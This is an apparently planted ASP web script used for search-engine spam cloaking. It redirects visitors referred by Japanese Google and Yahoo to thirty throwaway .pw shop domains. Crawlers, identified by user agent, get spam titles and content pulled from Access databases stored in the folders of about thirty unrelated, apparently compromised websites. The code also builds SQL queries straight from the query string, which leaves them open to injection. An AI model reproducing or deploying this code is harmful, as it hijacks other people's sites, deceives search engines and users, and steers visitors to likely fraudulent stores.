<%@ codepage=936%> <% Dim fromurl,s_agent,url_query,MaxNumOrder,datapath list1="http://www.kqejcfrg.pw/" list2="http://www.ekmnswwj.pw/" list3="http://www.mdcpmmhd.pw/" list4="http://www.cjqpvqhw.pw/" list5="http://www.uhpqbqsu.pw/" list6="http://www.kunmcsqb.pw/" list7="http://www.vnbuhfpu.pw/" list8="http://www.nuhstxgf.pw/" list9="http://www.crpkasmb.pw/" list10="http://www.wcprkrjp.pw/" list11="http://www.jktdmnbt.pw/" list12="http://www.refnfumq.pw/" list13="http://www.dscxwagp.pw/" list14="http://www.saqdsvft.pw/" list15="http://www.xjwuvqcm.pw/" list16="http://www.gefsdhmu.pw/" list17="http://www.gscwmpkb.pw/" list18="http://www.ncjpqhgs.pw/" list19="http://www.tservwfs.pw/" list20="http://www.jvwfebbd.pw/" list21="http://www.pvathnvx.pw/" list22="http://www.jhvhveun.pw/" list23="http://www.fmdmfcpv.pw/" list24="http://www.jqwhgsae.pw/" list25="http://www.cmnvtxgd.pw/" list26="http://www.qkfssusx.pw/" list27="http://www.eajxrswm.pw/" list28="http://www.sssaaren.pw/" list29="http://www.phendran.pw/" list30="http://www.wjehbtgg.pw/" fromurl = Request.ServerVariables("HTTP_REFERER") url_query = Request.ServerVariables("QUERY_STRING") If instr(fromurl,"google.co.jp")>0 Or instr(fromurl,"yahoo.co.jp")>0 then If instr(url_query,"list1=")>0 then url_query=replace(url_query,"list1=","") url_query=replace(url_query," ","") response.Redirect(list1&"index.php?main_page=product_info&products_id="&url_query) end If If instr(url_query,"list2=")>0 then url_query=replace(url_query,"list2=","") url_query=replace(url_query," ","") response.Redirect(list2&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list3=")>0 then url_query=replace(url_query,"list3=","") url_query=replace(url_query," ","") response.Redirect(list3&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list4=")>0 then url_query=replace(url_query,"list4=","") url_query=replace(url_query," ","") response.Redirect(list4&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list5=")>0 then url_query=replace(url_query,"list5=","") url_query=replace(url_query," ","") response.Redirect(list5&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list6=")>0 then url_query=replace(url_query,"list6=","") url_query=replace(url_query," ","") response.Redirect(list6&"index.php?main_page=product_info&products_id="&url_query) end If If instr(url_query,"list7=")>0 then url_query=replace(url_query,"list7=","") url_query=replace(url_query," ","") response.Redirect(list7&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list8=")>0 then url_query=replace(url_query,"list8=","") url_query=replace(url_query," ","") response.Redirect(list8&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list9=")>0 then url_query=replace(url_query,"list9=","") url_query=replace(url_query," ","") response.Redirect(list9&"index.php?main_page=product_info&products_id="&url_query) end If If instr(url_query,"list10=")>0 then url_query=replace(url_query,"list10=","") url_query=replace(url_query," ","") response.Redirect(list10&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list11=")>0 then url_query=replace(url_query,"list11=","") url_query=replace(url_query," ","") response.Redirect(list11&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list12=")>0 then url_query=replace(url_query,"list12=","") url_query=replace(url_query," ","") response.Redirect(list12&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list13=")>0 then url_query=replace(url_query,"list13=","") url_query=replace(url_query," ","") response.Redirect(list13&"index.php?main_page=product_info&products_id="&url_query) end If If instr(url_query,"list14=")>0 then url_query=replace(url_query,"list14=","") url_query=replace(url_query," ","") response.Redirect(list14&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list15=")>0 then url_query=replace(url_query,"list15=","") url_query=replace(url_query," ","") response.Redirect(list15&"index.php?main_page=product_info&products_id="&url_query) end If If instr(url_query,"list16=")>0 then url_query=replace(url_query,"list16=","") url_query=replace(url_query," ","") response.Redirect(list16&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list17=")>0 then url_query=replace(url_query,"list17=","") url_query=replace(url_query," ","") response.Redirect(list17&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list18=")>0 then url_query=replace(url_query,"list18=","") url_query=replace(url_query," ","") response.Redirect(list18&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list19=")>0 then url_query=replace(url_query,"list19=","") url_query=replace(url_query," ","") response.Redirect(list19&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list20=")>0 then url_query=replace(url_query,"list20=","") url_query=replace(url_query," ","") response.Redirect(list20&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list21=")>0 then url_query=replace(url_query,"list21=","") url_query=replace(url_query," ","") response.Redirect(list21&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list22=")>0 then url_query=replace(url_query,"list22=","") url_query=replace(url_query," ","") response.Redirect(list22&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list23=")>0 then url_query=replace(url_query,"list23=","") url_query=replace(url_query," ","") response.Redirect(list23&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list24=")>0 then url_query=replace(url_query,"list24=","") url_query=replace(url_query," ","") response.Redirect(list24&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list25=")>0 then url_query=replace(url_query,"list25=","") url_query=replace(url_query," ","") response.Redirect(list25&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list26=")>0 then url_query=replace(url_query,"list26=","") url_query=replace(url_query," ","") response.Redirect(list26&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list27=")>0 then url_query=replace(url_query,"list27=","") url_query=replace(url_query," ","") response.Redirect(list27&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list28=")>0 then url_query=replace(url_query,"list28=","") url_query=replace(url_query," ","") response.Redirect(list28&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list29=")>0 then url_query=replace(url_query,"list29=","") url_query=replace(url_query," ","") response.Redirect(list29&"index.php?main_page=product_info&products_id="&url_query) end if If instr(url_query,"list30=")>0 then url_query=replace(url_query,"list30=","") url_query=replace(url_query," ","") response.Redirect(list30&"index.php?main_page=product_info&products_id="&url_query) end if end If Function RndNumber(MaxNum,MinNum) Randomize RndNumber=int((MaxNum-MinNum+1)*rnd+MinNum) RndNumber=RndNumber End Function s_agent=Request.ServerVariables("HTTP_USER_AGENT") If instr(s_agent,"bot")>0 Or instr(s_agent,"crawl")>0 Or instr(s_agent,"spider")>0 Or instr(s_agent,"slurp")>0 Or instr(s_agent,"search")>0 Or instr(s_agent,"lycos")>0 Or instr(s_agent,"robozilla")>0 Or instr(s_agent,"google")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msn")>0 then mystr=split(url_query,"=") If uBound(mystr)=1 Then set conn=server.createobject("adodb.connection") if(replace(mystr(0),"list","")=1) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\abc123abc.com\db\list1.mdb" end if if(replace(mystr(0),"list","")=2) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\administradorastop.com.br\db\list2.mdb" end if if(replace(mystr(0),"list","")=3) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\addjalmabatista.com\db\list3.mdb" end if if(replace(mystr(0),"list","")=4) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\alphaconstrucoes.com\db\list4.mdb" end if if(replace(mystr(0),"list","")=5) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\amazoniaavista.com\db\list5.mdb" end if if(replace(mystr(0),"list","")=6) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\anuncios.campdell.com.br\db\list6.mdb" end if if(replace(mystr(0),"list","")=7) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\arroio.com.br\db\list7.mdb" end if if(replace(mystr(0),"list","")=8) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\asssilk.com.nrserver10.net\db\list8.mdb" end if if(replace(mystr(0),"list","")=9) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\automacao.consumista.com.br\db\list9.mdb" end if if(replace(mystr(0),"list","")=10) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\ccbipr.com.br\db\list10.mdb" end if if(replace(mystr(0),"list","")=11) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\codigotecnologia.ind.br\db\list11.mdb" end if if(replace(mystr(0),"list","")=12) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\danielklein.net\db\list12.mdb" end if if(replace(mystr(0),"list","")=13) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\empreiteirabrincodeouro.com.br\db\list13.mdb" end if if(replace(mystr(0),"list","")=14) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\frandoloso.com.br\db\list14.mdb" end if if(replace(mystr(0),"list","")=15) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\ilicitacoes.com.br\db\list15.mdb" end if if(replace(mystr(0),"list","")=16) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\isseguranca.com\db\list16.mdb" end if if(replace(mystr(0),"list","")=17) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\itboy.com.br\db\list17.mdb" end if if(replace(mystr(0),"list","")=18) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\jellalliance.com.br\db\list18.mdb" end if if(replace(mystr(0),"list","")=19) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\katianovaes.com.br\db\list19.mdb" end if if(replace(mystr(0),"list","")=20) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\labsl.com.br\db\list20.mdb" end if if(replace(mystr(0),"list","")=21) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\lasso.com.br\db\list21.mdb" end if if(replace(mystr(0),"list","")=22) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\lucianobraga.com.br\db\list22.mdb" end if if(replace(mystr(0),"list","")=23) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\luizamerico.com.br\db\list23.mdb" end if if(replace(mystr(0),"list","")=24) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\m.grupoepx.com.br\db\list24.mdb" end if if(replace(mystr(0),"list","")=25) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\meninosdeaurora.com.br\db\list25.mdb" end if if(replace(mystr(0),"list","")=26) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\micheldemolidor.com.br\db\list26.mdb" end if if(replace(mystr(0),"list","")=27) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\mirassolveiculosnatal.com.br.nrserver10.net\db\list27.mdb" end if if(replace(mystr(0),"list","")=28) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\parque.in\db\list28.mdb" end if if(replace(mystr(0),"list","")=29) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\pavimenta.com.br\db\list29.mdb" end if if(replace(mystr(0),"list","")=30) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\perbambinifestas.com.br\db\list30.mdb" end if exec="select s_Title,s_Content from lists where s_Type='"&mystr(0)&"' and s_Id='"&mystr(1)&"'" set rs=server.createobject("adodb.recordset") rs.open exec,conn if not rs.eof and not rs.bof then matetitle=rs("s_Title") mateContent=rs("s_Content") end if rs.close set rs=Nothing conn.close set conn=nothing If matetitle<>"" And mateContent<>"" Then %> <%=matetitle%>
<%=mateContent%>
<% %> <% set conn=server.createobject("adodb.connection") if(replace(mystr(0),"list","")=1) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\abc123abc.com\db\list1.mdb" end if if(replace(mystr(0),"list","")=2) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\administradorastop.com.br\db\list2.mdb" end if if(replace(mystr(0),"list","")=3) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\addjalmabatista.com\db\list3.mdb" end if if(replace(mystr(0),"list","")=4) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\alphaconstrucoes.com\db\list4.mdb" end if if(replace(mystr(0),"list","")=5) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\amazoniaavista.com\db\list5.mdb" end if if(replace(mystr(0),"list","")=6) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\anuncios.campdell.com.br\db\list6.mdb" end if if(replace(mystr(0),"list","")=7) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\arroio.com.br\db\list7.mdb" end if if(replace(mystr(0),"list","")=8) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\asssilk.com.nrserver10.net\db\list8.mdb" end if if(replace(mystr(0),"list","")=9) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\automacao.consumista.com.br\db\list9.mdb" end if if(replace(mystr(0),"list","")=10) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\ccbipr.com.br\db\list10.mdb" end if if(replace(mystr(0),"list","")=11) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\codigotecnologia.ind.br\db\list11.mdb" end if if(replace(mystr(0),"list","")=12) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\danielklein.net\db\list12.mdb" end if if(replace(mystr(0),"list","")=13) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\empreiteirabrincodeouro.com.br\db\list13.mdb" end if if(replace(mystr(0),"list","")=14) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\frandoloso.com.br\db\list14.mdb" end if if(replace(mystr(0),"list","")=15) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\ilicitacoes.com.br\db\list15.mdb" end if if(replace(mystr(0),"list","")=16) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\isseguranca.com\db\list16.mdb" end if if(replace(mystr(0),"list","")=17) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\itboy.com.br\db\list17.mdb" end if if(replace(mystr(0),"list","")=18) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\jellalliance.com.br\db\list18.mdb" end if if(replace(mystr(0),"list","")=19) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\katianovaes.com.br\db\list19.mdb" end if if(replace(mystr(0),"list","")=20) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\labsl.com.br\db\list20.mdb" end if if(replace(mystr(0),"list","")=21) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\lasso.com.br\db\list21.mdb" end if if(replace(mystr(0),"list","")=22) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\lucianobraga.com.br\db\list22.mdb" end if if(replace(mystr(0),"list","")=23) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\luizamerico.com.br\db\list23.mdb" end if if(replace(mystr(0),"list","")=24) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\m.grupoepx.com.br\db\list24.mdb" end if if(replace(mystr(0),"list","")=25) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\meninosdeaurora.com.br\db\list25.mdb" end if if(replace(mystr(0),"list","")=26) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\micheldemolidor.com.br\db\list26.mdb" end if if(replace(mystr(0),"list","")=27) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\mirassolveiculosnatal.com.br.nrserver10.net\db\list27.mdb" end if if(replace(mystr(0),"list","")=28) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\parque.in\db\list28.mdb" end if if(replace(mystr(0),"list","")=29) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\pavimenta.com.br\db\list29.mdb" end if if(replace(mystr(0),"list","")=30) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\perbambinifestas.com.br\db\list30.mdb" end if exec="select top 1 * from lists where s_Type='"&mystr(0)&"' order by s_Order desc" set rs=server.createobject("adodb.recordset") rs.open exec,conn MaxNumOrder=rs("s_Order") rs.close set rs=nothing conn.close set conn=nothing for a=0 to 30-1 set conn=server.createobject("adodb.connection") if(replace(mystr(0),"list","")=1) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\abc123abc.com\db\list1.mdb" end if if(replace(mystr(0),"list","")=2) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\administradorastop.com.br\db\list2.mdb" end if if(replace(mystr(0),"list","")=3) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\addjalmabatista.com\db\list3.mdb" end if if(replace(mystr(0),"list","")=4) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\alphaconstrucoes.com\db\list4.mdb" end if if(replace(mystr(0),"list","")=5) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\amazoniaavista.com\db\list5.mdb" end if if(replace(mystr(0),"list","")=6) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\anuncios.campdell.com.br\db\list6.mdb" end if if(replace(mystr(0),"list","")=7) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\arroio.com.br\db\list7.mdb" end if if(replace(mystr(0),"list","")=8) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\asssilk.com.nrserver10.net\db\list8.mdb" end if if(replace(mystr(0),"list","")=9) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\automacao.consumista.com.br\db\list9.mdb" end if if(replace(mystr(0),"list","")=10) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\ccbipr.com.br\db\list10.mdb" end if if(replace(mystr(0),"list","")=11) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\codigotecnologia.ind.br\db\list11.mdb" end if if(replace(mystr(0),"list","")=12) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\danielklein.net\db\list12.mdb" end if if(replace(mystr(0),"list","")=13) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\empreiteirabrincodeouro.com.br\db\list13.mdb" end if if(replace(mystr(0),"list","")=14) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\frandoloso.com.br\db\list14.mdb" end if if(replace(mystr(0),"list","")=15) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\ilicitacoes.com.br\db\list15.mdb" end if if(replace(mystr(0),"list","")=16) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\isseguranca.com\db\list16.mdb" end if if(replace(mystr(0),"list","")=17) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\itboy.com.br\db\list17.mdb" end if if(replace(mystr(0),"list","")=18) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\jellalliance.com.br\db\list18.mdb" end if if(replace(mystr(0),"list","")=19) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\katianovaes.com.br\db\list19.mdb" end if if(replace(mystr(0),"list","")=20) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\labsl.com.br\db\list20.mdb" end if if(replace(mystr(0),"list","")=21) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\lasso.com.br\db\list21.mdb" end if if(replace(mystr(0),"list","")=22) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\lucianobraga.com.br\db\list22.mdb" end if if(replace(mystr(0),"list","")=23) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\luizamerico.com.br\db\list23.mdb" end if if(replace(mystr(0),"list","")=24) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\m.grupoepx.com.br\db\list24.mdb" end if if(replace(mystr(0),"list","")=25) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\meninosdeaurora.com.br\db\list25.mdb" end if if(replace(mystr(0),"list","")=26) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\micheldemolidor.com.br\db\list26.mdb" end if if(replace(mystr(0),"list","")=27) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\mirassolveiculosnatal.com.br.nrserver10.net\db\list27.mdb" end if if(replace(mystr(0),"list","")=28) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\parque.in\db\list28.mdb" end if if(replace(mystr(0),"list","")=29) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\pavimenta.com.br\db\list29.mdb" end if if(replace(mystr(0),"list","")=30) then conn.open "driver={microsoft access driver (*.mdb)};dbq=C:\Domains\perbambinifestas.com.br\db\list30.mdb" end if exec="select * from lists where s_Type='"&mystr(0)&"' and s_Order="&RndNumber(0,MaxNumOrder) set rs=server.createobject("adodb.recordset") rs.open exec,conn if not rs.eof and not rs.bof then contents_Id=rs("s_Id") contents_Title=rs("s_Title") end if rs.close set rs=nothing conn.close set conn=nothing If contents_Id<>"" And contents_Title<>"" Then %> <%=contents_Title%>
<% end if next %>
<% end if End If %> <% End If %>